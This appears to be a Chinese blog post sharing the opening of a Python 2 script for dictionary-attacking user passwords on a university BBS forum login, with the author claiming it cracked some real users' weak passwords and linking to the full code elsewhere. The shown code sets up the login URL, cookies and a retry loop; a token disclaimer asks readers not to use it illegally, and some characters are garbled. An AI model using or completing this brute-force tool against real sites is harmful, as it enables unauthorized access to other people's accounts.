本文只是舉1反3,用python演示1個思路,適用于不同的網站或論壇。 請勿用于非法行動。
以下代碼親測有效,破解了1些用戶的弱密碼。固然破解的成功率和你的字典有關,越復雜的字典,成功率就越高,但是花費的時間也就越長。
# -*- coding: utf⑻ -*-
__author__ = 'rocky'
#http://www.rcdisk.com/index.php/group/topic/id⑷
# 破解211高校BBS論壇的用戶密碼
#來源:http://www.rcdisk.com
# 刃草網-記錄你的自學
import cookielib, urllib, urllib2, re, time,sys
class BBS_sysu():
def __init__(self):
#構造urllib的數據頭
self.login_url = "http://bbs.xxxx.edu.cn/login"
self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'
self.headers = {'User-Agent': self.user_agent}
self.cookie = cookielib.CookieJar()
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))
self.pattern = re.compile(r'"success":"(d)"')
self.guess = False
self.ignore=False
def urlopen_try(self,req,times=5):
data=""
try:
result = self.opener.open(req)
data=result.read()
except Exception,what:
print what, req;
if times>0:
time.sleep(20)
完全代碼-> http://www.rcdisk.com/index.php/group/topic/id⑷
下一篇 IOS 屏保動畫